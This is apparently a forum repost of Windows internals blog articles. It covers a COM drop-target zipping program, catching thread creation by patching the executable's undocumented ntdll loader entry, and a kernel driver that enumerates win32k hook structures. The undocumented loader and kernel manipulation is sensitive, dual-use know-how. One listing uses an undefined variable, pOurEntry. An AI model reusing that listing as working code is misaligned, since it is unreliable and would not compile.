static_cast<char*>(GlobalLock(hMem)); // the last two bytes are the terminating double null pDataPos += (curSize - (2 * sizeof(WCHAR))); // and copy in this filename // we want the NULL to be copied too, since that separates the names in the list memcpy(pDataPos, fileName, fileNameBytes); GlobalUnlock(hNewMem); curSize = newSize; } } // IUnknown STDMETHODIMP QueryInterface(REFIID iid, void** ppv) { if(!ppv) return E_POINTER; *ppv = NULL; HRESULT hr = S_OK; if(iid == IID_IUnknown || iid == IID_IDataObject) { *ppv = this; AddRef(); } else hr = E_NOINTERFACE; return hr; } STDMETHODIMP_(ULONG) AddRef() { return InterlockedIncrement(&refCount); } STDMETHODIMP_(ULONG) Release() { LONG ret = InterlockedDecrement(&refCount); if(ret == 0) { delete this; } return ret; } HRESULT FillInStgMedium(STGMEDIUM* pStg, BOOL shouldAlloc) { HGLOBAL hOutMem = NULL; if(shouldAlloc) { if(!(hOutMem = GlobalAlloc(GHND, curSize))) { return E_OUTOFMEMORY; } pStg->tymed = TYMED_HGLOBAL; pStg->pUnkForRelease = NULL; pStg->hGlobal = hOutMem; } else { if(!(pStg->hGlobal && (GlobalSize(pStg->hGlobal) >= curSize))) { return STG_E_MEDIUMFULL; } hOutMem = pStg->hGlobal; } PVOID pOutData = GlobalLock(hOutMem); PVOID pOurData = GlobalLock(hMem); memcpy(pOutData, pOurData, curSize); GlobalUnlock(hOutMem); GlobalUnlock(hMem); return S_OK; } // IDataObject STDMETHODIMP GetData(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } if(pEtc->cfFormat != CF_HDROP || (pEtc->tymed & TYMED_HGLOBAL) == 0) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, TRUE); } STDMETHODIMP GetDataHere(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, FALSE); } STDMETHODIMP QueryGetData(FORMATETC* pEtc) { if(!pEtc) { return E_POINTER; } if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { return DV_E_FORMATETC; } return S_OK; } STDMETHODIMP GetCanonicalFormatEtc(FORMATETC* pInEtc, FORMATETC* pOutEtc) { if(!pInEtc) { return E_POINTER; } if(pInEtc->cfFormat != CF_HDROP) { return DV_E_FORMATETC; } return DATA_S_SAMEFORMATETC; } STDMETHODIMP SetData(FORMATETC*, STGMEDIUM*, BOOL) { return E_NOTIMPL; } STDMETHODIMP EnumFormatEtc(DWORD, IEnumFORMATETC**) { return E_NOTIMPL; } STDMETHODIMP DAdvise(FORMATETC*, DWORD, IAdviseSink*, DWORD*) { return E_NOTIMPL; } STDMETHODIMP DUnadvise(DWORD) { return E_NOTIMPL; } STDMETHODIMP EnumDAdvise(IEnumSTATDATA**) { return E_NOTIMPL; } }; #define FAIL_ON_ERR(exp) \ hr = exp; \ if(FAILED(hr)) \ { \ printf("%s failed with error %#x\n", #exp, hr); \ return NULL; \ } IDropTarget* CreateZipTarget(LPCWSTR pFolderName, LPCWSTR pZipFileName) { HRESULT hr = S_OK; IShellFolder* pFolder = NULL; IStorage* pZipFileParentFolderStorage = NULL; IDropTarget* pTarget = NULL; IStream* pZipStream = NULL; IShellFolder* pZipFileFolder = NULL; LPITEMIDLIST pFolderPidl = NULL, pFilePidl = NULL; __try { FAIL_ON_ERR(SHGetDesktopFolder(&pFolder)); FAIL_ON_ERR(pFolder->ParseDisplayName(NULL, NULL, const_cast<PWSTR>(pFolderName), NULL, &pFolderPidl, NULL)); FAIL_ON_ERR(pFolder->BindToObject(pFolderPidl, NULL, IID_PPV_ARGS(&pZipFileFolder))); FAIL_ON_ERR(pZipFileFolder->QueryInterface(IID_PPV_ARGS(&pZipFileParentFolderStorage))); FAIL_ON_ERR(pZipFileParentFolderStorage->CreateStream(pZipFileName, STGM_FAILIFTHERE | STGM_CREATE, 0, 0, &pZipStream)); FAIL_ON_ERR(pZipFileFolder->ParseDisplayName(NULL, NULL, const_cast<PWSTR>(pZipFileName), NULL, &pFilePidl, NULL)); FAIL_ON_ERR(pZipFileFolder->GetUIObjectOf(NULL, 1, (LPCITEMIDLIST*)&pFilePidl, IID_IDropTarget, 0, (PVOID*)&pTarget)); return pTarget; } __finally { if(pZipFileFolder) pZipFileFolder->Release(); if(pFolder) pFolder->Release(); if(pZipFileParentFolderStorage) pZipFileParentFolderStorage->Release(); if(pZipStream) pZipStream->Release(); CoTaskMemFree(pFilePidl); CoTaskMemFree(pFolderPidl); } } void GetDirAndEventHandles(LPCWSTR pDirName, HANDLE* phDir, HANDLE * phEvent) { *phDir = CreateFile( pDirName, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); *phEvent = CreateEvent(NULL, FALSE, FALSE, NULL); } int __cdecl wmain(int argc, wchar_t** argv) { if(argc <= 2) { return puts("Usage: ZipFiles.exe OutputDir file1, file2, ..."); } OleInitialize(NULL); WCHAR zipFileFolder[MAX_PATH]; LPCWSTR pAbsoluteZipFolder = argv[1]; LPCWSTR pZipFileName = L"files.zip"; if(PathIsRelative(argv[1])) { GetFullPathName(argv[1], ARRAYSIZE(zipFileFolder), zipFileFolder, NULL); pAbsoluteZipFolder = zipFileFolder; } IDropTarget* pDropTarget = CreateZipTarget(pAbsoluteZipFolder, pZipFileName); if(pDropTarget) { ZipFileDataObject* pZfdo = new ZipFileDataObject(); for(int i = 2; i < argc; ++i) { pZfdo->AddFileToObject(argv[i]); } POINTL pt = {0}; DWORD effect = DROPEFFECT_COPY; HRESULT hr = pDropTarget->DragEnter(pZfdo, MK_LBUTTON, pt, &effect); if(SUCCEEDED(hr)) { // grab handles to the directory containing the zip, and a bog standard event HANDLE hDir, hEvent; GetDirAndEventHandles(pAbsoluteZipFolder, &hDir, &hEvent); // setup for the notifications BYTE notifyBuffer[sizeof(FILE_NOTIFY_INFORMATION) + (MAX_PATH * sizeof(WCHAR))] = {0}; OVERLAPPED ol = {0}; ol.hEvent = hEvent; // and start the monitoring ReadDirectoryChangesW( hDir, notifyBuffer, sizeof(notifyBuffer), FALSE, FILE_NOTIFY_CHANGE_SIZE, NULL, &ol, NULL ); // then do the drop as normal effect &= DROPEFFECT_COPY; hr = pDropTarget->Drop(pZfdo, MK_LBUTTON, pt, &effect); pDropTarget->Release(); pZfdo->Release(); if(FAILED(hr)) { printf("Failed to drop files because of error %#x\n", hr); CloseHandle(hDir); CloseHandle(hEvent); OleUninitialize(); return 1; } // Timeout our zip modification, it should be finished // if we don't get any after this period DWORD zipLastModified = GetTickCount(); DWORD zipModificationTimeout = 5000; while(((GetTickCount() - zipLastModified) >= zipModificationTimeout) && (WaitForSingleObject(hEvent, zipModificationTimeout) == WAIT_OBJECT_0) ) { // we got a notifications, process them DWORD numBytes = 0; GetOverlappedResult(hDir, &ol, &numBytes, FALSE); BYTE* pIter = notifyBuffer, *pEnd = pIter + numBytes; FILE_NOTIFY_INFORMATION* pFni = NULL; do { pFni = reinterpret_cast<FILE_NOTIFY_INFORMATION*>(pIter); // if its an update that pertains to our zip, update the modified time if(pFni->Action == FILE_ACTION_MODIFIED && wcsnicmp(pFni->FileName, pZipFileName, pFni->FileNameLength / sizeof(WCHAR)) == 0 ) { zipLastModified = GetTickCount(); } pIter += pFni->NextEntryOffset; } // there can be multiple notificatons per call, make sure we catch 'em all while((pIter < pEnd) && pFni->NextEntryOffset); // anf kick off the next batch ReadDirectoryChangesW( hDir, notifyBuffer, sizeof(notifyBuffer), FALSE, FILE_NOTIFY_CHANGE_SIZE, NULL, &ol, NULL ); } // if we're here, we've finished CloseHandle(hEvent); CloseHandle(hDir); } } OleUninitialize(); return 0; } [1]: As zip files contain other files, zipfldr.dll (the zip file provider) lets you create IStorage interfaces on them. You can also BindToObject() on them directly and get an IShellFolder interface representing the zip file and its contents. [2]: You can create drop targets for any type of file not just zips. What happens when you drag and drop things onto them though, is defined by the filetype. Zip files will compress the files, executable will launch with them as the arguments, etc. [3]: It tells you to use IID_PPV_ARGS, but the reserved parameter in between the REFIID and void** arguments stops it from expanding properly. [4]: This is one of the downsides of using the zipping functionality, it assumes it’s running in an application with an always on UI like Explorer. Apart from error message dialogs, it also displays progress bars when zipping takes place. Sursa: Dropping Like Files – Zipping Without Libraries
  7. [h=3]Process Thread Creation Notification – The Easy Way[/h]adeyblue @ 3:22 am If what you’re writing already requires a dll, or you can leverage an existing one then you’re already set and can use the fact that DllMain gets called when threads are created and destructed to your advantage. If you’re not, or can’t then you’re pretty much stuck for an answer. Conventional wisdom on the web seems to revolve around hooking CreateThread. However, with several methods of creating threads called at various levels of the Win32 system, that isn’t always sufficient, especially if you want to execute code in the thread context. Dll thread_attach notifications work because when threads are created and torn down, ntdll loops around the internal structures corresponding to each module loaded in the process and calls their entry point if they meet certain criteria. The structure for the exe is included in the enumeration but as it doesn’t identify as a dll, its entry point isn’t called. The thing to do then, is modify it to a) look like a dll and make it think our entry point is a DllMain. Usually this poking around officially undocumented stuff is at least a slight pain (after all you’re not meant to be touching it), in this case however the structure is a single call away. // in ntdll.dll EXTERN_C NTSYSAPI NTSTATUS NTAPI LdrFindEntryForAddress( HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppEntry ); You give it an address in a module, and it gives you a pointer to the structure. Seems like a fair trade to me. Here’s what’s in it. struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; This is the XP version layout. More recent versions have appended extra fields, but we ignore them. The three fields of interest are BaseAddress, EntryPoint, and Flags. Entrypoint and Flags are self-explanatory, BaseAddress though? Yep, as well as checking the flags, the looping code also excludes those whose BaseAddress is the same as GetModuleHandle(NULL). This might sound like it could be a bit disabling to the program, especially if you know that GetModuleHandle can also loop over these structures. It isn’t in practice thought, only affecting calls to GetModuleHandle(), the value returned from GetModuleHandle(NULL) is cached elsewhere so modifying the entry leaves it unaffected. Setting the new entrypoint to a DllMain-a-like is easy enough, and the BaseAddress value can be changed to BaseAddress += 2 (this enables it to still be used in kernel32 functions if anybody ever does GetModuleHandle()), yet we’ve neglected the flag values. // // Loader Data Table Entry Flags, from ReactOS // #define LDRP_STATIC_LINK 0x00000002 #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_LOAD_IN_PROGRESS 0x00001000 #define LDRP_UNLOAD_IN_PROGRESS 0x00002000 #define LDRP_ENTRY_PROCESSED 0x00004000 #define LDRP_ENTRY_INSERTED 0x00008000 #define LDRP_CURRENT_LOAD 0x00010000 #define LDRP_FAILED_BUILTIN_LOAD 0x00020000 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 #define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 #define LDRP_IMAGE_NOT_AT_BASE 0x00200000 #define LDRP_COR_IMAGE 0x00400000 #define LDRP_COR_OWNS_UNMAP 0x00800000 #define LDRP_SYSTEM_MAPPED 0x01000000 #define LDRP_IMAGE_VERIFYING 0x02000000 #define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 #define LDRP_ENTRY_NATIVE 0x08000000 #define LDRP_REDIRECTED 0x10000000 #define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 #define LDRP_MM_LOADED 0x40000000 #define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 There are a lot of them, yet we only need concern ourselves with three. LDRP_IMAGE_DLL and LDRP_PROCESS_ATTACH_CALLED need to be set to signal that we are a dll and that we’ve had our init code called. LDRP_DONT_CALL_FOR_THREADS needs to be clear, because being called for threads is exactly what we’re after! So, putting it all into motion: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } And running it produces: Thread attach : 4208 Thread attach : 3052 Thread attach : 2076 Thread attach : 3144 Thread attach : 1476 Thread attach : 516 Thread attach : 4224 Thread attach : 4320 Thread attach : 3620 Thread attach : 1280 Yay… wait a minute. Where are the detach and shutdown notifications? So much for mimicking DllMain. See those LIST_ENTRY structures at the head of the LDR_DATA_TABLE_ENTRY structure, those are the three different orders in which the module entries are linked. LoadOrder is obvious, whereas non-obviously MemoryOrder is the same as LoadOrder, and InitializationOrder is the order that the DllMain’s were called…, ah. Our LDR_DATA_TABLE_ENTRY is the first entry of the first two lists however since it isn’t a kosher dll, it’s not present in the third. ThreadAttach notifications work since ntdll walks the LoadOrder module list when calling entry points for thread attaches. The other notifications don’t work, since ntdll walks the InitOrder list for those. The solution therefore is to add ourself to that one, and that’s quite a simple op too. Where we should insert outselves is up to you, before kernel32 seems as good a place as any though. In summation: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } void InsertIntoList(LIST_ENTRY* pOurListEntry, LIST_ENTRY* pK32ListEntry) { // dll detach are called in reverse list order // so after Kernel32 is before it in the list // our forward link wants to point to whatever is after // k32ListEntry and our back link wants to point to pK32ListEn LIST_ENTRY* pEntryToInsertAfter = pK32ListEntry->Flink; pOurListEntry->Flink = pEntryToInsertAfter; pOurListEntry->Blink = pEntryToInsertAfter->Blink; pEntryToInsertAfter->Blink = pOurListEntry; pOurListEntry->Blink->Flink = pOurListEntry; } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); LDR_DATA_TABLE_ENTRY* pK32Entry = NULL; LdrFindEntryForAddress(GetModuleHandle(L"kernel32.dll"), &pK32Entry); InsertIntoList(&pOurEntry->InInitializationOrderModuleList, &pK32Entry->InInitializationOrderModuleList); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } Output: Thread attach : 4856 Thread attach : 3896 Thread attach : 4140 Thread attach : 3488 Thread attach : 188 Thread detach : 188 Thread attach : 3272 Thread attach : 3376 Thread attach : 1632 Thread detach : 4856 Thread attach : 4120 Thread detach : 3896 Thread detach : 4140 Thread detach : 3488 Thread attach : 3484 Thread detach : 3272 Thread detach : 3376 Thread detach : 1632 Thread detach : 4120 Thread detach : 3484 Process detach : 4720 Yay, for realsies this time. So that’s how you do it, with help from some jiggery poker. No hooks, no external code, just pure, clean, faffing around. Sursa: Process Thread Creation Notification – The Easy Way
  8. [h=3]Hookers – Underneath the Sheets[/h]adeyblue @ 7:12 am Introduction Finding Hooks Finding Desktops Finding Threads Hook Information Dll Name Process Name Copying to User Mode Wrapup/TL:DR Download MsgHookLister [h=2]Introduction[/h] We all need ideas. Whether you’ve just finished something, or are getting a little bit bored with your current project you can’t help but let your mind drift to the next cool thing you’ll create. Sometimes the ideas come thick and fast, other times they’re like gold dust. When I’m in the second camp, and reading the various boards I read, I will quite happily steal other peoples. One such board is Sysinternals’. They do winternals, I do winternals, they have a suggestion section and I want ideas. It’s a perfect fit. On a previous visit, one of the suggestions was a program that could list active hooks. Given my previous excursions into user/win32k territory, it didn’t seem like it’d be too hard. And apart from the digging around assembly listings for the structure offsets, it wasn’t, and that was more time-intensive than difficult. At any rate, I am now the owner of 14 versions of win32k.sys’ symbols. I don’t even have 14 games on my computer! Rather than just dumping a download link (here) and what it does (list active hooks), I thought I’d deconstruct the hows and why’s of the kernel side of the query. Needless to say, much of what follows is discussion of undocumented things. I am aware this makes Raymond Chen cry. Sorry fella. [h=2]Finding hooks[/h] Compared to other operations, enumerating the installed hooks is quite easy. Thread specific hooks are recorded in a win32k per-thread data structure tagged, rather imaginatively, as THREADINFO[1]. This is essentially an ETHREAD/TEB like structure but one tailored specifically for user and gdi information. One of its members (aphkStart) is a 16 element array of pointers, individually they either point to NULL, or the head of a linked list of HOOK structures. Enumerating the hooks is simply a measure of walking down those chains. For convenience, and probably so that iteration isn’t required to see if any hooks are set, the THREADINFO contains another member, fsHooks, which is a bitfield. If a bit is on, the corresponding index in the hook array is valid. Instead of 33 comparisons (16 for NULL and 17 for a for-loop), telling if there are hooks requires just one, nifty! Global hooks, which are per desktop[2], are also stored in a per-object structure, also imaginatively named (DESKTOPINFO), and are also stored in an array with an accompanying bitfield. Bridging the two is pDeskInfo, a member of THREADINFO which points to its owning DESKTOPINFO. Despite the bellyaching in the intro, working with all these undocumented structures isn’t actually too hard in practice. The Windows 7 symbols for win32k.sys include their layouts, which is nice. The symbols for the Vista/Server 2008 era don’t though, this is where the assembly studying comes and saves the day. Knowing what these structures look like is one thing, getting at them is another… [h=3]Finding Desktops[/h] You may know that at the top of Windows UI architecture is the humble windowstation[3]. Not much is known about these creatures (read as: nobody needs to care) except that they are a glorified container of desktops. It is these delilahs of display that contain the actual user objects such as windows, hooks, menus etc. As mentioned, threads are bound to one desktop and which one can be determined by following a pointer. Desktop objects are stored in a singly linked list, so by following another pointer in the desktop structure rpDeskNext, you can enumerate desktops under a windowstation. Like threads, each desktop has a pointer to its owning windowstation which is also part of a singularly linked list. Everything’s fine and dandy, except that there are no guarantees the results of thread->desktop or desktop->windowstation find the heads of their respective lists. After all, there can only be one head before everybody has to fall into line. One method, and the one I used in the Desktop Heap Monitor update is to query the \Windows\Windowstations and \Sessions\\Windows\Windowstations object directories via NtOpenDirectoryObject and NtQueryDirectoryObject. The reward for this is a directory handle and an object name which can be redeemed against ObOpenObjectByName for an object handle, which can be finally be exchanged for a pointer with ObReferenceObjectByHandle. It’s relatively lots of work, but mostly documented. The alternative method which I only stumbled upon recently is much easier and much more hacky. One of win32k.sys’s globals is named grpWinStaList, which just happens to be the head of the windowstation list. As windowstation objects (named as tagWINDOWSTATION) contain a pointer to the head of the desktop list, iterating through them all is a piece of cake. [h=3]Finding Threads[/h] Finding threads takes the finesse approach of the desktops and throws it down the kitchen sink. Mixed metaphors aside, there’s nothing more to it than using ZwQuerySystemInformation(SystemProcessInformation) to enumerate running processes. What MSDN conceals about the SYSTEM_PROCESS_INFORMATION structure is that at the end of it is an array of SYSTEM_THREAD_INFORMATION structures, one for each thread in that process. The thread id contained in the struct is turned into an ETHREAD object by the above board PsLookupThreadByThreadId. Failure means the thread has probably exited, which is no biggie. Interrogation of the thread continues with PsGetThreadWin32Thread, a good cop who’ll smuggle out any THREADINFO pointer in the threads possession. Failure here isn’t a double cross, not all threads interact with the presentation side of Windows and those that don’t don’t have a value to return. NTSTATUS stat = STATUS_SUCCESS; const SYSTEM_THREAD_INFORMATION* pThreadInfo = process.Threads, *pEnd = pThreadInfo + process.ThreadCount; while(pThreadInfo != pEnd) { PETHREAD pThread = NULL; if(NT_SUCCESS(PsLookupThreadByThreadId(pThreadInfo->ClientId.UniqueThread, &pThread))) { __try { PVOID pWin32Thread = PsGetThreadWin32Thread(pThread); if(pWin32Thread) { stat = getWin32ThreadHooks(pWin32Thread, listHead, pLookaside); } } // ensure reference is released no matter what happens __finally { ObDereferenceObject(pThread); } } ++pThreadInfo; } With the THREADINFO and offsets in hand, the hook information is a dereference away… [h=2]Hook Information[/h] Having gotten our grubby mitts on them, we find HOOK structures record most of the relevant information themselves: struct tagHOOK { THRDESKHEAD head; // info about the creator struct tagHOOK* phkNext; // next entry in linked list int iHook; // WH_ hook type UINT_PTR offPfn; // RVA to hook function in ihmod library UINT flags; // HF_ flags (GLOBAL, ANSI) int ihmod; THREADINFO* ptiHooked; // the hooked thread PVOID rpDesk; // saved desktop pointer ULONG nTimeout :7; ULONG fLastHookHung :1; }; Directly stored is the originating thread (in the head member), the hooked thread, and (via an offset) the hook function. Noticeable by its absence, for those hooks which specify one, is the lack of any instant dll identification. [h=3]Dll Name[/h] By its’ name, ihmod hints at something to do with HMODULEs, and indeed it is. However, it’s nothing as simple as an index into an array of names or HMODULEs, nor can it be used by any function exported by the kernel or win32k. Undocumented is as undocumented does, ihmod is actually an index into another global of win32k.sys named aatomSysLoaded, an array of ATOMs. As mentioned, there are no functions exported that manipulate or query this array, no, more “dirty” methods are required. The dirtyness doesn’t stop once you’ve indexed the array (either by dereferencing a hardcoded offset or querying from the symbols). So what purpose does this ATOM have? Much like you can use GlobalAddAtom or AddAtom in user mode to essentailly map a string to an ATOM, win32k does too in kernel mode with the filename of the HMODULE passed to SetWindowsHookEx. Remember I said there’s more hacking after the array indexing? It’s not strictly necessary. The user-mode function GetClipboardFormatName can turn that atom into a dll name[4]. MsgHookLister goes the whole hacky way though and uses the win32k function UserGetAtomName, just because well, what’s one extra bit of hackery in a thing built completely on top of it? // abridged WCHAR* GetDllName(PVOID pHeap, int atomIndex) { // negative indexes are seen for LowLevel hooks // where there isn't an injected dll if(atomIndex < 0) return NULL; // turn the index to an ATOM ATOM actualAtom = aatomSysLoaded[atomIndex]; WCHAR* pNameBuf = RtlAllocateHeap(pHeap, HEAP_ZERO_MEMORY, MAX_PATH * sizeof(WCHAR)); if(pNameBuf) { ULONG charsNeeded = UserGetAtomName(actualAtom, pNameBuf, MAX_PATH); if(charsNeeded != 0) { // this is just a normal atom that's been stringified ignore it if(pNameBuf[0] == L'#') { RtlFreeHeap(pHeap, 0, pNameBuf); pNameBuf = NULL; } } } return pNameBuf; } That’s almost everything, but thread ids can be made much more pallatable to the client app… [h=3]Process Name[/h] The only other thing in the output not covered by the struct is the process name. Again, this can be gotten from user mode, and by looking in the PEB. However, in a rare bout of playing by the rules, MsgHookLister uses PsThreadToProcess to get an EPROCESS from an ETHREAD and PsGetProcessImageFileName to get the name string that is stored within it. void CopyThreadProcessName(PETHREAD pThread, char* pNameBuffer, ULONG bufLen) { PAGED_CODE(); // this doesn't need releasing PEPROCESS pProc = PsThreadToProcess(pThread); strncpy(pNameBuffer, (char*)PsGetProcessImageFileName(pProc), bufLen); pNameBuffer[bufLen - 1] = 0; } // // call site // HOOK* pHookIter = ... // the EThread offset is the same either way, // so it's OK to leave this as THREADINFO7 even on Vista THREADINFO7* pSettingThread = static_cast<THREADINFO7*>(pHookIter->head.pti); if(pSettingThread) { hook.dwSettingThread = HandleToULong(PsGetThreadId(pSettingThread->pEThread)); CopyThreadProcessName(pSettingThread->pEThread, hook.settingProcess, ARRAYSIZE(hook.settingProcess)); } [h=2]Copying to User Mode[/h] After collating all the relevant hook data, it needs to be marshalled somewhere user mode can access it. Normal Windows API calls dealing with this have the caller pass a buffer and a size, with the minimum length returned if the buffer is insufficient. There’s nothing wrong with this method, but if the information takes a long time to gather or is volatile this isn’t the most efficient approach. With that in mind, the approach taken by MsgHookLister is to always return this: typedef struct WindowsHookInfo_ { ClientHookArray* pHookInfoArray; } WindowsHookInfo; Instead of having the caller call back with an enlarged buffer, the driver makes a new heap in the calling process, allocates all the memory it needs from it, and then passes the heap handle back to the user mode app. When it’s finished, the app cleans up by freeing the memory and destroying the heap. A credible alternative to the heap is to allocate a glob of virtual memory and manage it yourself. It’s so credible I should’ve actually written it that way. To make the heap method work, it has to be created with the HEAP_NO_SERIALIZE flag because heaps created through the kernel use ERESOURCEs for locking, while user mode uses CRITICAL_SECTIONs, and they aren’t compatible. Oh well, some would say one last hack is a fitting ending to the call’s journey. With that, the ride is over. The request has been serviced and the driver is ready to remorselessly go through the whole process again and again at the clients behest. [h=2]Wrapup[/h] It did list queued window messages, now it lists active thread and global hooks too, it’s MsgHookLister. If this were Sysinternals it’d have a nice shiny gui but I’m not so it’s command line only. There are output samples and a video of it in action here. You can download the package here, it comes with x86 and x64 binaries and source code that puts the entirety of the above text into a ‘I could’ve figured that out’ category. Notes:[1]: The Win32Thread value reported by WinDbg when you use !process or !thread is the address of the THREADINFO. With a Win7 target, ‘dt win32k!tagTHREADINFO [address]‘ will display the structure’s contents. [2][3]: More information on windowstations and desktops can be found starting here [4]: GetClipboardFormatName can also be used to get the name for a value returned from RegisterWindowMessage. Clipboard format names, window messages, window classes and these hook dll name atoms all share the same atom table. You cannot use (Global)GetAtomName, these have usermode only atom tables. Sursa: Hookers – Underneath the Sheets
